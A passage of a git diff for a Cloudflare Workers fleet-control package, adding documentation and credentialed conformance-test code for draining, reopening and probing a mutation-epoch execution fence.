callbacks. Complete these checks before reopening; a candidate upload or promotion response alone does not establish completion. +5. Read the fence again and persist its counters. POST `{ expected: 'draining', next: 'open', expectedMutationEpoch, expectedRevision }` without `advanceMutationEpoch`. Verify that the returned epoch matches the activated epoch and `requireMutationEpoch` remains `true`. Reopening changes the state without disabling enforcement. + +Schedule mutations encounter these refusal layers in order: + +| Layer | Applies to | Refusal | +| --- | --- | --- | +| Route state gate | `create`, `update`, `resume` | `503 EXECUTION_FENCED` while `draining` | +| Storage epoch gate | Mutations including `pause` and `delete` | `409 MUTATION_EPOCH_MISMATCH`, classified `missing`, `stale`, or `future` once the requirement is armed | +| Storage state gate | `create`, `update`, `resume` | `503 EXECUTION_FENCED` when the fence does not admit authoring | + +A delete with the current epoch is admitted while `draining`. After reopen, a pre-cutover artifact’s epoch is stale; a missing epoch or one ahead of the fence is also refused. For `missing`, configure the trusted writer epoch. For `stale`, replace the older artifact with the intended current artifact. For `future`, reconcile the artifact configuration with the authoritative fence and rollout record before proceeding; do not advance the fence to accommodate an unexplained caller value. + +Recover response loss at the boundary that produced it: + +| Boundary or failure | Recovery | +| --- | --- | +| Fence transition response lost, or `409 FENCE_CAS_CONFLICT` | Re-read and reconcile the state, epoch, requirement and revision against the persisted command. An exact retry can reuse the last upgraded command’s receipt; an intervening command invalidates it. Never blindly repeat an advance with fresh counters. The same expected counters cannot double-advance. | +| Migration response lost | Continue from the stored token. If start stopped before staging completed, replay the original start input; a token cannot reconstruct it. | +| Active-route attestation or settlement response lost | Retry with the same operation keys under the existing at-least-once contract. Reconcile the persisted migration state before reopening. | +| `503 EXECUTION_FENCE_UNREADABLE` | Restore authoritative fence readability before allowing mutation or reopening. | +| `503 SCHEDULE_MUTATION_OUTCOME_UNKNOWN` | Reconcile the schedule’s persisted outcome before retrying. A write may have occurred; this is not a clean fence refusal. | + ## Switch a plain deployment to Workers for Platforms Use `switchPlainDeploymentToWorkersForPlatforms()` only for an existing platform-authored deployment that must accept external releases without moving D1 data or Durable Object namespaces. The switch stores its intent in the canonical fleet row and holds the same `FleetStateLease` used by provision, migration, rollback, and decommission. Those lifecycle operations reject an active switch. diff --git a/packages/fleet-control/README.md b/packages/fleet-control/README.md index 50cc8766..ffe17cc5 100644 --- a/packages/fleet-control/README.md +++ b/packages/fleet-control/README.md @@ -74,7 +74,7 @@ Construct `CloudflareProvisioningClient` with a `CloudflareApiRateCoordinator`. Plain-worker, dispatch-worker, backend-switch, and control-worker inspection consumes every provider binding entry before exact attestation. Unknown types, malformed entries, duplicate names, unrepresented bindings, and missing complete inventories fail closed, including expected-empty groups. Secret names come from the authoritative secret-list API when ordinary version resources omit them. Wrangler-backed D1 ownership, migrations, exact-ID lookup, and deletion use Cloudflare's direct APIs. Every mutation runs under the active mutation fence. D1 deletion treats only provider 404 as absence and confirms that the immutable ID is absent without spawning `wrangler d1 delete`. A custom `PlainWorkerRouteApi` must provide `getDatabase` and `deleteDatabase` before destructive D1 teardown; Fleet Control fails closed when either capability is absent. SQLite recognizes anonymous `?` and numbered `?NNN` parameters, literals, quoted identifiers, and comments without string replacement. D1 does not support named SQLite parameters. -Use `advanceFleetMigration()` for durable, caller-driven upgrades one admission or frozen plan step at a time. It adds a `FleetOperationStore` beside the deployment store, returns continuation tokens, and exposes running item metadata through `readFleetMigrationItemsPage()`. `abandonFleetMigrationOperation()` fails an operation without rolling back deployment mutations; `migrateFleet()` remains the one-call drain. Read the [recovery and cost boundaries](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/fleet-control.md#upgrade-a-fleet-in-resumable-steps) before choosing an operation size. The root entry remains control-plane-only and is not the curated Worker entry. +Use `advanceFleetMigration()` for durable, caller-driven upgrades one admission or frozen plan step at a time. It adds a `FleetOperationStore` beside the deployment store, returns continuation tokens, and exposes running item metadata through `readFleetMigrationItemsPage()`. `abandonFleetMigrationOperation()` fails an operation without rolling back deployment mutations; `migrateFleet()` remains the one-call drain. Read the [recovery and cost boundaries](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/fleet-control.md#upgrade-a-fleet-in-resumable-steps) before choosing an operation size. The root entry remains control-plane-only and is not the curated Worker entry. Read [Roll out an artifact under the execution fence](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/fleet-control.md#roll-out-an-artifact-under-the-execution-fence) before migrating a deployment whose writers enforce a mutation epoch. Use `advanceDecommissionDeployment()` for Queue-driven bounded normal teardown. Use root-only `advanceBackendSwitchDecommission()` for one bounded backend-switch step from a trusted Node control plane. Both APIs return durable continuation tokens and perform at most one scan chunk or one lifecycle/resource action group per call. Their asynchronous one-call compatibility paths drain the same engines for existing callers. diff --git a/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts b/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts index b5bd9fcc..9ab9ee5e 100644 --- a/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts @@ -300,6 +300,7 @@ export const DIRECT_SCENARIO_ARRAY_MAXIMA: Readonly<{ auditFindings: number; footprintVersionIds: number; deploymentVersions: number; + inventoryCategories: number; inventory: Readonly<{ databaseIds: number; namespaceIds: number; diff --git a/packages/fleet-control/scripts/direct-credentialed-run-state.mjs b/packages/fleet-control/scripts/direct-credentialed-run-state.mjs index 64eee9ba..9e171b48 100644 --- a/packages/fleet-control/scripts/direct-credentialed-run-state.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-run-state.mjs @@ -30,7 +30,15 @@ const SUMMARY_FIELDS = [ 'release', 'limit', 'afterOrdinal', + 'expectedMutationEpoch', + 'expectedRevision', ]; +const NUMERIC_SUMMARY_FIELDS = new Set([ + 'limit', + 'afterOrdinal', + 'expectedMutationEpoch', + 'expectedRevision', +]); export const DIRECT_RUN_MAX_JOURNAL_BYTES = 256 * 1024; export const DIRECT_SCENARIO_ARRAY_MAXIMA = Object.freeze({ health: 5, @@ -39,6 +47,7 @@ export const DIRECT_SCENARIO_ARRAY_MAXIMA = Object.freeze({ auditFindings: 16, footprintVersionIds: 8, deploymentVersions: 2, + inventoryCategories: 9, inventory: Object.freeze({ databaseIds: 2, namespaceIds: 4, @@ -386,6 +395,7 @@ const scenarioEnum = }; const nullable = (schema) => (value) => value === null ? null : scenarioShape(value, schema); +const scenarioFlag = scenarioEnum(true, false); const boundedArray = (schema, max) => { if (!Number.isSafeInteger(max) || max < 0) invalid(); return (value) => { @@ -613,10 +623,9 @@ const callShape = { invalid(); const result = {}; for (const [key, field] of Object.entries(value)) - result[key] = - key === 'limit' || key === 'afterOrdinal' - ? scenarioNumber(field) - : scenarioId(field); + result[key] = NUMERIC_SUMMARY_FIELDS.has(key) + ? scenarioNumber(field) + : scenarioId(field); if (typeof value.kind !== 'string') invalid(); return Object.freeze(result); }, @@ -739,6 +748,45 @@ const exportVerificationsShape = boundedArray( exportShape, DIRECT_SCENARIO_ARRAY_MAXIMA.exportVerifications, ); +const categoryShape = { + category: scenarioId, + class: scenarioEnum('work', 'standing'), + empty: scenarioFlag, +}; +const sweepCategoriesShape = boundedArray( + categoryShape, + DIRECT_SCENARIO_ARRAY_MAXIMA.inventoryCategories, +); +const fenceReadingShape = { + state: scenarioEnum('open', 'draining', 'migration-locked', 'proof-only'), + mutationEpoch: scenarioNumber, + requireMutationEpoch: scenarioFlag, + transitionRevision: scenarioNumber, +}; +const fenceTransitionShape = { + before: fenceReadingShape, + after: nullable(fenceReadingShape), + ordinal: nullable(scenarioNumber), +}; +const fenceSweepShape = { + fence: fenceReadingShape, + categories: sweepCategoriesShape, + observedAt: scenarioNumber, + ordinal: scenarioNumber, +}; +const fenceSweepsShape = { + first: fenceSweepShape, + second: nullable(fenceSweepShape), + intervalMs: nullable(scenarioNumber), +}; +const fenceProbesShape = { + current: 'accepted', + missing: 'missing', + stale: 'stale', + future: 'future', + mutationEpoch: scenarioNumber, + ordinal: scenarioNumber, +}; function decodeScenario(value, invocationCount) { if ( value && @@ -801,6 +849,24 @@ function decodeScenario(value, invocationCount) { after: nullable(inventoryShape), }, audits: { before: nullable(auditShape), after: nullable(auditShape) }, + fence: { + drain: { + a: nullable(fenceTransitionShape), + b: nullable(fenceTransitionShape), + }, + sweeps: { + a: nullable(fenceSweepsShape), + b: nullable(fenceSweepsShape), + }, + reopen: { + a: nullable(fenceTransitionShape), + b: nullable(fenceTransitionShape), + }, + probes: { + a: nullable(fenceProbesShape), + b: nullable(fenceProbesShape), + }, + }, restart: nullable({ process: processShape, resumedProcess: nullable(processShape), @@ -927,12 +993,48 @@ function validateScenarioProofs(state, invocationCount) { if (past('force-observe')) need(proof.force && proof.recoveryExportAbsent.afterOrdinal > 0); if (past('recover-force-residual')) need(proof.residual); + if (past('fence-drain')) + need( + ['a', 'b'].every( + (role) => + proof.fence.drain[role]?.after && + proof.fence.drain[role].ordinal !== null && + proof.fence.sweeps[role]?.first, + ), + ); + if (past('fence-reopen')) + need( + ['a', 'b'].every( + (role) => + proof.fence.sweeps[role]?.second && + proof.fence.sweeps[role].intervalMs !== null && + proof.fence.reopen[role]?.after && + proof.fence.reopen[role].ordinal !== null, + ), + ); + if (past('fence-proofs')) + need(['a', 'b'].every((role) => proof.fence.probes[role])); for (const ordinal of [ state.reconciledOrdinal, ...Object.values(proof.objectDeletions), ...Object.values(proof.recoveryExportAbsent), ...proof.health.map((entry) => entry.ordinal), ...proof.steps.map((entry) => entry.ordinal), + ...Object.values(proof.fence.drain).flatMap((entry) => + entry && entry.ordinal !== null ? [entry.ordinal] : [], + ), + ...Object.values(proof.fence.reopen).flatMap((entry) => + entry && entry.ordinal !== null ? [entry.ordinal] : [], + ), + ...Object.values(proof.fence.probes).flatMap((entry) => + entry ? [entry.ordinal] : [], + ), + ...Object.values(proof.fence.sweeps).flatMap((entry) => + entry ? [entry.first.ordinal] : [], + ), + ...Object.values(proof.fence.sweeps).flatMap((entry) => + entry && entry.second !== null ? [entry.second.ordinal] : [], + ), ]) if (ordinal !== null) need(ordinal <= invocationCount); if (proof.restart) { @@ -1583,6 +1685,21 @@ function runJournal(directory, directoryHandle, base, lock, initial) { ); } } + for (const [group, later] of [ + ['drain', ['after', 'ordinal']], + ['reopen', ['after', 'ordinal']], + ['sweeps', ['second', 'intervalMs']], + ['probes', []], + ]) + for (const role of ['a', 'b']) { + const entry = previous.proofs.fence[group][role]; + if (entry === null) continue; + const fresh = scenario.proofs.fence[group][role]; + if (fresh === null) invalid(); + for (const [key, expected] of Object.entries(entry)) + if (!later.includes(key) || expected !== null) + equalShape(fresh[key], expected); + } for (const role of ['a', 'b']) { if (previous.proofs.exports[role]) { const { sourceInvocationOrdinal, ...proof } = diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario-budget.d.mts b/packages/fleet-control/scripts/direct-credentialed-scenario-budget.d.mts index 5f4a4f6f..401f5622 100644 --- a/packages/fleet-control/scripts/direct-credentialed-scenario-budget.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-scenario-budget.d.mts @@ -11,11 +11,14 @@ export const DIRECT_SCENARIO_INVOCATION_BUDGET: Readonly<{ 'provision-b': DirectScenarioPhaseBudget; 'inventory-before': DirectScenarioPhaseBudget; 'audit-before': DirectScenarioPhaseBudget; + 'fence-drain': DirectScenarioPhaseBudget; 'migration-start': DirectScenarioPhaseBudget; 'migration-interrupt': DirectScenarioPhaseBudget; 'migration-restart': DirectScenarioPhaseBudget; migration: DirectScenarioPhaseBudget; 'post-migration': DirectScenarioPhaseBudget; + 'fence-reopen': DirectScenarioPhaseBudget; + 'fence-proofs': DirectScenarioPhaseBudget; 'inventory-after': DirectScenarioPhaseBudget; 'audit-after': DirectScenarioPhaseBudget; 'failed-recovery': DirectScenarioPhaseBudget; diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario-budget.mjs b/packages/fleet-control/scripts/direct-credentialed-scenario-budget.mjs index 32b75e11..4706d867 100644 --- a/packages/fleet-control/scripts/direct-credentialed-scenario-budget.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-scenario-budget.mjs @@ -14,11 +14,14 @@ const MEASURED = Object.freeze({ 'provision-b': 9, 'inventory-before': 22, 'audit-before': 57, + 'fence-drain': 9, 'migration-start': 3, 'migration-interrupt': 5, 'migration-restart': 7, migration: 105, 'post-migration': 5, + 'fence-reopen': 9, + 'fence-proofs': 9, 'inventory-after': 22, 'audit-after': 57, 'failed-recovery': 4, diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario.d.mts b/packages/fleet-control/scripts/direct-credentialed-scenario.d.mts index f96c7a4d..37c247b0 100644 --- a/packages/fleet-control/scripts/direct-credentialed-scenario.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-scenario.d.mts @@ -79,6 +79,54 @@ type ScenarioAudit = FleetAuditResultRef & detailSha256: string; }>[]; }>; +interface ScenarioFenceReading { + readonly state: 'open' | 'draining' | 'migration-locked' | 'proof-only'; + readonly mutationEpoch: number; + readonly requireMutationEpoch: boolean; + readonly transitionRevision: number; +} +interface ScenarioFenceTransition { + readonly before: ScenarioFenceReading; + readonly after: ScenarioFenceReading | null; + readonly ordinal: number | null; +} +interface ScenarioFenceSweep { + readonly fence: ScenarioFenceReading; + readonly categories: readonly Readonly<{ + category: string; + class: 'work' | 'standing'; + empty: boolean; + }>[]; + readonly observedAt: number; + readonly ordinal: number; +} +export interface DirectScenarioFenceProofs { + readonly drain: Readonly>; + readonly sweeps: Readonly< + Record< + NormalRole, + Readonly<{ + first: ScenarioFenceSweep; + second: ScenarioFenceSweep | null; + intervalMs: number | null; + }> | null + > + >; + readonly reopen: Readonly>; + readonly probes: Readonly< + Record< + NormalRole, + Readonly<{ + current: 'accepted'; + missing: 'missing'; + stale: 'stale'; + future: 'future'; + mutationEpoch: number; + ordinal: number; + }> | null + > + >; +} export interface DirectScenarioProofs { readonly initial: Readonly< Record @@ -107,6 +155,7 @@ export interface DirectScenarioProofs { Record<'before' | 'after', ScenarioInventory | null> >; readonly audits: Readonly>; + readonly fence: DirectScenarioFenceProofs; readonly restart: Readonly<{ process: ScenarioProcess; resumedProcess: ScenarioProcess | null; diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario.mjs b/packages/fleet-control/scripts/direct-credentialed-scenario.mjs index 8665cbaa..32876ee5 100644 --- a/packages/fleet-control/scripts/direct-credentialed-scenario.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-scenario.mjs @@ -85,6 +85,12 @@ function initialState(ordinal) { health: [], inventories: { before: null, after: null }, audits: { before: null, after: null }, + fence: { + drain: { a: null, b: null }, + sweeps: { a: null, b: null }, + reopen: { a: null, b: null }, + probes: { a: null, b: null }, + }, restart: null, steps: [], effects: [], @@ -251,6 +257,56 @@ export async function runDirectCredentialedScenario(input) { await sync(); return invoke(action, true, migration); }; + const fenceTransition = async (role, operation) => { + const before = state.proofs.fence[operation][role].before; + const result = await mutate({ + kind: 'tenant-fence', + role, + operation, + expectedMutationEpoch: before.mutationEpoch, + expectedRevision: before.transitionRevision, + }); + const next = operation === 'drain' ? 'draining' : 'open'; + const epoch = before.mutationEpoch + (operation === 'drain' ? 1 : 0); + let after; + if (result.ok === true) { + after = result.after; + requireFact(after.transitionRevision === before.transitionRevision + 1); + } else { + requireFact( + result.ok === false && result.reason?.code === 'FENCE_CAS_CONFLICT', + ); + const reason = result.reason; + after = { + state: reason.state, + mutationEpoch: reason.mutationEpoch, + requireMutationEpoch: reason.requireMutationEpoch, + transitionRevision: reason.transitionRevision, + }; + } + requireFact( + after.state === next && + after.mutationEpoch === epoch && + after.requireMutationEpoch === true, + ); + state.proofs.fence[operation][role].after = after; + state.proofs.fence[operation][role].ordinal = state.mutation.ordinal; + await persist(); + }; + const fenceSweep = async (role) => { + const result = await invoke({ + kind: 'tenant-fence', + role, + operation: 'inventory', + }); + requireFact( + result.fence.state === 'draining' && + result.categories.every( + (category) => category.class !== 'work' || category.empty, + ), + ); + return { ...result, ordinal: state.lastCall.ordinal }; + }; const record = (role) => control.records.find((entry) => entry.role === role); const slot = (name) => control.operations.find((entry) => entry.slot === name); @@ -751,6 +807,105 @@ export async function runDirectCredentialedScenario(input) { case 'audit-after': await audit('after'); break; + case 'fence-drain': + for (const role of NORMAL_ROLES) { + if (state.proofs.fence.drain[role] === null) { + const before = await invoke({ + kind: 'tenant-fence', + role, + operation: 'read', + }); + state.proofs.fence.drain[role] = { + before, + after: null, + ordinal: null, + }; + await persist(); + } + if (state.proofs.fence.drain[role].after === null) + await fenceTransition(role, 'drain'); + if (state.proofs.fence.sweeps[role] === null) { + const first = await fenceSweep(role); + state.proofs.fence.sweeps[role] = { + first, + second: null, + intervalMs: null, + }; + await persist(); + } + } + await advancePhase(); + break; + case 'fence-reopen': + for (const role of NORMAL_ROLES) { + if (state.proofs.fence.sweeps[role].second === null) { + const second = await fenceSweep(role); + state.proofs.fence.sweeps[role].second = second; + state.proofs.fence.sweeps[role].intervalMs = Math.max( + 0, + second.observedAt - + state.proofs.fence.sweeps[role].first.observedAt, + ); + await persist(); + } + if (state.proofs.fence.reopen[role] === null) { + const before = await invoke({ + kind: 'tenant-fence', + role, + operation: 'read', + }); + state.proofs.fence.reopen[role] = { + before, + after: null, + ordinal: null, + }; + await persist(); + } + if (state.proofs.fence.reopen[role].after === null) + await fenceTransition(role, 'reopen'); + } + await advancePhase(); + break; + case 'fence-proofs': + for (const role of NORMAL_ROLES) { + if (state.proofs.fence.probes[role] !== null) continue; + const current = await invoke({ + kind: 'tenant-fence', + role, + operation: 'mutate-current', + }); + requireFact(current.accepted === true); + const stale = await invoke({ + kind: 'tenant-fence', + role, + operation: 'probe-stale', + }); + requireFact(stale.classification === 'stale'); + const missing = await invoke({ + kind: 'tenant-fence', + role, + operation: 'probe-missing', + }); + requireFact(missing.classification === 'missing'); + const future = await invoke({ + kind: 'tenant-fence', + role, + operation: 'probe-future', + }); + requireFact(future.classification === 'future'); + state.proofs.fence.probes[role] = { + current: 'accepted', + missing: 'missing', + stale: 'stale', + future: 'future', + mutationEpoch: + state.proofs.fence.reopen[role].after.mutationEpoch, + ordinal: state.lastCall.ordinal, + }; + await persist(); + } + await advancePhase(); + break; case 'migration-start': { await sync(); if (!migrationStartSettled(control, state.mutation)) { diff --git a/packages/fleet-control/scripts/direct-credentialed-tenant-object.d.mts b/packages/fleet-control/scripts/direct-credentialed-tenant-object.d.mts index 6fbf4cb1..088f7997 100644 --- a/packages/fleet-control/scripts/direct-credentialed-tenant-object.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-tenant-object.d.mts @@ -2,3 +2,4 @@ export const DIRECT_TENANT_OBJECT_KEY: 'direct-conformance-fixture'; export const DIRECT_TENANT_OBJECT_BODY: 'direct-conformance-fixture-data'; +export function directTenantMutationEpoch(release: string | undefined): number; diff --git a/packages/fleet-control/scripts/direct-credentialed-tenant-object.mjs b/packages/fleet-control/scripts/direct-credentialed-tenant-object.mjs index 7cde63c9..fc73d552 100644 --- a/packages/fleet-control/scripts/direct-credentialed-tenant-object.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-tenant-object.mjs @@ -2,3 +2,10 @@ export const DIRECT_TENANT_OBJECT_KEY = 'direct-conformance-fixture'; export const DIRECT_TENANT_OBJECT_BODY = 'direct-conformance-fixture-data'; + +// The caller epoch an artifact of this release carries. Release 2 is the +// post-cutover artifact; release 1 predates the activation and is therefore +// stale once the control plane advances the fence. One definition, because §4 C2 +// is precisely a comparison between the tenant's configured value and the +// fixture's re-derivation of it, and two copies can drift while both lanes pass. +export const directTenantMutationEpoch = (release) => (release === '2' ? 1 : 0); diff --git a/packages/fleet-control/scripts/direct-credentialed-tenant.ts b/packages/fleet-control/scripts/direct-credentialed-tenant.ts index a1744572..949b8652 100644 --- a/packages/fleet-control/scripts/direct-credentialed-tenant.ts +++ b/packages/fleet-control/scripts/direct-credentialed-tenant.ts @@ -6,9 +6,12 @@ import type { ExportedHandler, R2Bucket, } from '@cloudflare/workers-types'; +import { createActorResolver } from '@proofoftech/flowsafe/approval-api'; import { DurableObjectRunner, + ExecutionFenceStore, init, + isPathSafeId, type RunnerRuntime, } from '@proofoftech/flowsafe/do-runner'; import { @@ -18,11 +21,18 @@ import { createFlowsafeWorker, type FlowsafeWorkerConfig, type FlowsafeWorkerEnv, + readBoundedBody, staticTokenVerifier, } from '@proofoftech/flowsafe/host-kit'; +import { + createScheduleRouter, + createScheduleTargetPolicy, + D1SchedulesStorage, +} from '@proofoftech/flowsafe/schedules'; import { DIRECT_TENANT_OBJECT_BODY, DIRECT_TENANT_OBJECT_KEY, + directTenantMutationEpoch, } from './direct-credentialed-tenant-object.mjs'; export interface DirectTenantEnv extends FlowsafeWorkerEnv { @@ -34,9 +44,12 @@ export interface DirectTenantEnv extends FlowsafeWorkerEnv { PROBE_BUCKET: R2Bucket; } +const DIRECT_FENCE_WORKFLOW = 'direct-fence-probe'; + const config: FlowsafeWorkerConfig = { workflows: [], systemPrincipalId: 'direct-conformance', + mutationEpoch: (env) => directTenantMutationEpoch(env.APPLICATION_RELEASE), buildVerifier(env) { return staticTokenVerifier( new Map( @@ -55,6 +68,163 @@ const config: FlowsafeWorkerConfig = { if (!path.startsWith('/__direct/')) return null; if (!(await kit.resolve(request))) return new Response('Unauthorized', { status: 401 }); + if ( + request.method === 'POST' && + (path === '/__direct/fence-mutate' || path === '/__direct/fence-probe') + ) { + const input = await readBoundedBody(request, 256); + if (!input.ok) return new Response('Invalid body', { status: 400 }); + const probe = path === '/__direct/fence-probe'; + let parsed: Record = {}; + if (input.text === '') { + if (probe) return new Response('Invalid body', { status: 400 }); + } else { + let value: unknown; + try { + value = JSON.parse(input.text); + } catch { + return new Response('Invalid body', { status: 400 }); + } + if (!value || typeof value !== 'object' || Array.isArray(value)) + return new Response('Invalid body', { status: 400 }); + parsed = value as Record; + } + const phase = parsed.phase === undefined ? 'both' : parsed.phase; + const label = parsed.epoch; + if ( + probe + ? label !== 'current' && + label !== 'stale' && + label !== 'missing' && + label !== 'future' + : phase !== 'both' && phase !== 'create' && phase !== 'delete' + ) + return new Response('Invalid body', { status: 400 }); + if (!probe && phase === 'delete' && !isPathSafeId(parsed.scheduleId)) + return new Response('Invalid body', { status: 400 }); + + const host = directTenantMutationEpoch(env.APPLICATION_RELEASE); + const epoch = + label === 'missing' + ? undefined + : label === 'stale' + ? Math.max(0, host - 1) + : label === 'future' + ? host + 1 + : host; + const resolve = probe + ? createActorResolver({ + authenticate: (candidate) => + candidate.headers.get('authorization') === + `Bearer ${env.APP_PROBE_TOKEN}` + ? { id: 'direct-conformance', role: 'admin' } + : undefined, + storeFactory: approvalStoreFactoryFor(env.DB), + mutationEpoch: epoch, + buildService: () => { + throw new Error('direct fence probe does not request approval'); + }, + }) + : kit.resolve; + const store = new D1SchedulesStorage(env.DB); + const fence = new ExecutionFenceStore(env.DB); + const router = createScheduleRouter({ + resolve, + store, + executionFence: fence, + targetPolicy: createScheduleTargetPolicy({ + workflows: [{ id: DIRECT_FENCE_WORKFLOW }], + agents: [], + }), + validateThreadTarget: async () => { + throw new Error('direct fence probe target cannot require a thread'); + }, + }); + const route = async (method: string, suffix: string, body?: string) => { + const routed = new Request(`https://tenant/api/schedules${suffix}`, { + method, + headers: { + authorization: request.headers.get('authorization') ?? '', + 'content-type': 'application/json', + }, + ...(body === undefined ? {} : { body }), + }); + const response = await router(routed); + if (!response) + throw new Error('direct fence probe route did not match'); + const result = (await response.json()) as { + schedule?: { id?: string }; + pending?: boolean; + reason?: { code: string; classification?: string }; + }; + return { response, result }; + }; + const mutation = async () => { + if (!probe && phase === 'delete') + return route('DELETE', `/${parsed.scheduleId}`); + const created = await route( + 'POST', + '', + JSON.stringify({ + workflowId: DIRECT_FENCE_WORKFLOW, + cron: '0 0 1 1 *', + status: 'paused', + }), + ); + const scheduleId = created.result.schedule?.id; + if ( + !created.response.ok || + !scheduleId || + (!probe && phase === 'create') + ) + return created; + if (!isPathSafeId(scheduleId)) + throw new Error('direct fence probe received an invalid schedule id'); + const deleted = await route('DELETE', `/${scheduleId}`); + return probe ? created : deleted; + }; + const { response, result } = await mutation(); + const { reason } = result; + const status = response.status; + if (probe) { + if (response.ok) + return Response.json({ epoch: label, classification: 'accepted' }); + if (status === 409 && reason?.code === 'MUTATION_EPOCH_MISMATCH') + return Response.json({ + epoch: label, + classification: reason.classification, + }); + if ( + status === 503 && + (reason?.code === 'EXECUTION_FENCED' || + reason?.code === 'EXECUTION_FENCE_UNREADABLE') + ) + return Response.json({ epoch: label, classification: 'fenced' }); + return Response.json({ + epoch: label, + classification: 'unexpected', + status, + }); + } + if (response.ok) + return Response.json({ + accepted: true, + ...(result.schedule?.id === undefined + ? {} + : { scheduleId: result.schedule.id }), + ...(result.pending === true ? { pending: true } : {}), + }); + if (reason && typeof reason === 'object' && !Array.isArray(reason)) + return Response.json({ + accepted: false, + code: reason.code, + ...(reason.classification === undefined + ? {} + : { classification: reason.classification }), + status, + }); + return Response.json({ accepted: false, code: 'unexpected', status }); + } if (path === '/__direct/health' && request.method === 'GET') { const row = await env.DB.prepare( 'SELECT marker FROM direct_conformance_fixture WHERE id = 1', diff --git a/packages/fleet-control/scripts/direct-reference-contract.d.mts b/packages/fleet-control/scripts/direct-reference-contract.d.mts index c048704c..3c9867d0 100644 --- a/packages/fleet-control/scripts/direct-reference-contract.d.mts +++ b/packages/fleet-control/scripts/direct-reference-contract.d.mts @@ -18,6 +18,24 @@ export class DirectReferenceRequestError extends Error { export type DirectInventorySlot = 'inventory-before' | 'inventory-after'; export type DirectAuditSlot = 'audit-before' | 'audit-after'; export type DirectReferenceAction = + | Readonly<{ + kind: 'tenant-fence'; + role: 'a' | 'b'; + operation: 'drain' | 'reopen'; + expectedMutationEpoch: number; + expectedRevision: number; + }> + | Readonly<{ + kind: 'tenant-fence'; + role: 'a' | 'b'; + operation: + | 'read' + | 'inventory' + | 'mutate-current' + | 'probe-missing' + | 'probe-stale' + | 'probe-future'; + }> | Readonly<{ kind: 'tenant-probe'; role: DirectFixtureRole; diff --git a/packages/fleet-control/scripts/direct-reference-contract.mjs b/packages/fleet-control/scripts/direct-reference-contract.mjs index af8249b2..d6719e3e 100644 --- a/packages/fleet-control/scripts/direct-reference-contract.mjs +++ b/packages/fleet-control/scripts/direct-reference-contract.mjs @@ -45,6 +45,16 @@ function page(action) { invalid(); } +function counters(value) { + for (const counter of [value.expectedMutationEpoch, value.expectedRevision]) + if ( + !Number.isSafeInteger(counter) || + counter < 0 || + counter >= Number.MAX_SAFE_INTEGER + ) + invalid(); +} + function actionFromParsed(value) { if (!value || typeof value !== 'object' || Array.isArray(value)) invalid(); const kind = value.kind; @@ -67,6 +77,35 @@ function actionFromParsed(value) { 'object-delete', ]); break; + case 'tenant-fence': { + member(value.operation, [ + 'read', + 'drain', + 'reopen', + 'inventory', + 'mutate-current', + 'probe-missing', + 'probe-stale', + 'probe-future', + ]); + const versioned = + value.operation === 'drain' || value.operation === 'reopen'; + keys( + value, + versioned + ? [ + 'kind', + 'role', + 'operation', + 'expectedMutationEpoch', + 'expectedRevision', + ] + : ['kind', 'role', 'operation'], + ); + member(value.role, ['a', 'b']); + if (versioned) counters(value); + break; + } case 'provision': keys(value, ['kind', 'role', 'release']); member(value.role, ['a', 'b', 'recovery']); diff --git a/packages/fleet-control/scripts/direct-reference-fence.ts b/packages/fleet-control/scripts/direct-reference-fence.ts new file mode 100644 index 00000000..96cd38d7 --- /dev/null +++ b/packages/fleet-control/scripts/direct-reference-fence.ts @@ -0,0 +1,278 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { ExecutionFenceState as FenceState } from '@proofoftech/flowsafe/do-runner'; +import { readBoundedBody } from '@proofoftech/flowsafe/host-kit'; +import type { DirectRunManifest } from './direct-credentialed-conformance-preflight.mjs'; +import type { DirectReferenceContext } from './direct-reference-context.js'; +import type { DirectReferenceAction } from './direct-reference-contract.mjs'; +import { DirectReferenceExecutionError } from './direct-reference-http.js'; + +type Reading = { + state: FenceState; + mutationEpoch: number; + requireMutationEpoch: boolean; + transitionRevision: number; +}; + +type FenceTransitionResult = + | { ok: true; after: Reading } + | { + ok: false; + reason: { + code: 'FENCE_CAS_CONFLICT'; + state: FenceState; + mutationEpoch?: number; + requireMutationEpoch?: boolean; + transitionRevision?: number; + conflict?: 'expectation-mismatch' | 'versioned-expectation-required'; + }; + }; + +function object(value: unknown): Record { + if (!value || typeof value !== 'object' || Array.isArray(value)) + throw new DirectReferenceExecutionError(); + return value as Record; +} + +function state(value: unknown): FenceState { + if ( + value !== 'open' && + value !== 'draining' && + value !== 'migration-locked' && + value !== 'proof-only' + ) + throw new DirectReferenceExecutionError(); + return value; +} + +function counter(value: unknown): number { + if (typeof value !== 'number' || !Number.isSafeInteger(value) || value < 0) + throw new DirectReferenceExecutionError(); + return value; +} + +function flag(value: unknown): boolean { + if (typeof value !== 'boolean') throw new DirectReferenceExecutionError(); + return value; +} + +function text(value: unknown): string { + if (typeof value !== 'string') throw new DirectReferenceExecutionError(); + return value; +} + +function reading(value: Record): Reading { + return { + state: state(value.state), + mutationEpoch: counter(value.mutationEpoch), + requireMutationEpoch: flag(value.requireMutationEpoch), + transitionRevision: counter(value.transitionRevision), + }; +} + +function transition( + status: number, + value: Record, +): FenceTransitionResult { + if (status === 200) return { ok: true, after: reading(value) }; + const reason = object(value.reason); + if ( + reason.code !== 'FENCE_CAS_CONFLICT' || + (reason.conflict !== undefined && + reason.conflict !== 'expectation-mismatch' && + reason.conflict !== 'versioned-expectation-required') + ) + throw new DirectReferenceExecutionError(); + return { + ok: false, + reason: { + code: 'FENCE_CAS_CONFLICT', + state: state(reason.state), + ...(reason.mutationEpoch === undefined + ? {} + : { mutationEpoch: counter(reason.mutationEpoch) 